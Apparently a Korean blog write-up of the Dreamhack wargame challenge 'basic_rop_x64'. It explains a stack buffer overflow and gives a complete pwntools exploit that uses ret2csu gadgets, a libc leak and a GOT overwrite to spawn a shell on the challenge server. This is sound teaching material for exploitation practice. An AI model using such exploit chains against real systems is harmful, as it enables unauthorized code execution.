1. 실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
2. 풀이
① checksec을 이용하여, 메모리 보호기법을 확인한다.
- NX가 적용되어 있고, 카나리와 PIE가 적용되지 않은 것을 확인할 수 있다.
② buf의 크기가 0x40인데, 0x400만큼 입력값을 받아 buf에 넣기 때문에 BOF취약점이 발생할 수 있다.
③ 이를 통해, _ _libc_csu_init()의 일부 코드를 가젯으로 사용하여 RET를 덮어쓴다.
(Return to csu 참고 : 2022.07.04 - [System Hacking] - RTC (Return To CSU) )
payload = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1)
④ 가젯을 통해 write함수를 이용하여, got에 저장되어 있는 read 함수에 대한 라이브러리 주소(실제 코드 주소)를 출력한다.
from pwn import *
p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
def print_v(name, value):
return success(": ".join([name, hex(value)]))
libc_csu2 = 0x400860
libc_csu1 = 0x40087a
read_got = e.got['read']
write_got = e.got['write']
# write(1, read_got, 0x8)
payload = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1)
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(write_got) #R12
payload += p64(0x8) #RDX
payload += p64(read_got) #RSI
payload += p64(1) #RDI
payload += p64(libc_csu2)
p.sendline(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
print_v("Read Address", read_addr)
⑤ 구한 read함수를 통해, execve함수의 주소를 계산한다.
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']
p.sendline(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
print_v("Read Address", read_addr)
print_v("Base Library", base_libc)
print_v("execve Address", execve_addr)
⑥ 쉘 획득을 위해, bss위치에 "/bin/sh" 문자열을 넣어준다.
binsh = e.bss()
# read(0, binsh, 0x8)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(binsh) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)
p.sendline(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
p.send(b"/bin/sh\x00")
⑦ GOT Overwrite 하여, GOT의 write함수 주소값을 execve함수의 주소값으로 덮어쓴다.
(GOT Overwrite 참고 : 2022.06.27 - [System Hacking] - PLT & GOT )
#read(0, write, 0x8)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(write_got) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)
p.sendline(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
p.send(b"/bin/sh\x00")
p.send(p64(execve_addr))
⑧ /bin/sh의 주소를 첫번째 인자로 넣어주고 write함수를 재실행하면, write(/bin/sh) 대신 execve(/bin/sh)가 실행된다.
#write(/bin/sh) -> execve(/bin/sh)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(0)
payload += p64(write_got) #R12
payload += p64(0) #RDX
payload += p64(0) #RSI
payload += p64(binsh) #RDI
payload += p64(libc_csu2)
3. Exploit Code
- pwntool을 이용하여, exploit 코드를 작성해보면 아래와 같다.
#!/usr/bin/python3
from pwn import *
def print_v(name, value):
return success(": ".join([name, hex(value)]))
p = remote("host3.dreamhack.games",12277)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
libc_csu2 = 0x400860
libc_csu1 = 0x40087a
binsh = e.bss()
read_got = e.got['read']
write_got = e.got['write']
read_libc = libc.symbols['read']
execve_libc = libc.symbols['execve']
# write(1, read_got, 0x8)
payload = b"A" * 0x40 + b"B" * 0x8
payload += p64(libc_csu1)
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(write_got) #R12
payload += p64(0x8) #RDX
payload += p64(read_got) #RSI
payload += p64(1) #RDI
payload += p64(libc_csu2)
# read(0, binsh, 0x8)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(binsh) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)
#read(0, write, 0x8)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(1)
payload += p64(read_got) #R12
payload += p64(0x8) #RDX
payload += p64(write_got) #RSI
payload += p64(0) #RDI
payload += p64(libc_csu2)
#write(/bin/sh) -> execve(/bin/sh)
payload += b"C" * 0x8 # add rsp, 0x8 :: dummy
payload += p64(0) + p64(1) #rbx(0) + rbp(0)
payload += p64(write_got) #R12
payload += p64(0) #RDX
payload += p64(0) #RSI
payload += p64(binsh) #RDI
#payload += p64(0x0000000000400819) #ret 주소값.
payload += p64(libc_csu2)
p.sendline(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recvn(6) + (b'\x00' * 2))
base_libc = read_addr - read_libc
execve_addr = base_libc + execve_libc
print_v("Read Address", read_addr)
print_v("Base Library", base_libc)
print_v("execve Address", execve_addr)
p.send(b"/bin/sh\x00")
p.send(p64(execve_addr))
p.interactive()
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] fho (0) | 2022.07.19 |
---|---|
[Wargame] basic_rop_x86 (0) | 2022.07.10 |
[Wargame] rop (0) | 2022.07.03 |
[Wargame] Return to Library (0) | 2022.07.02 |
[Wargame] ssp_001 (0) | 2022.06.26 |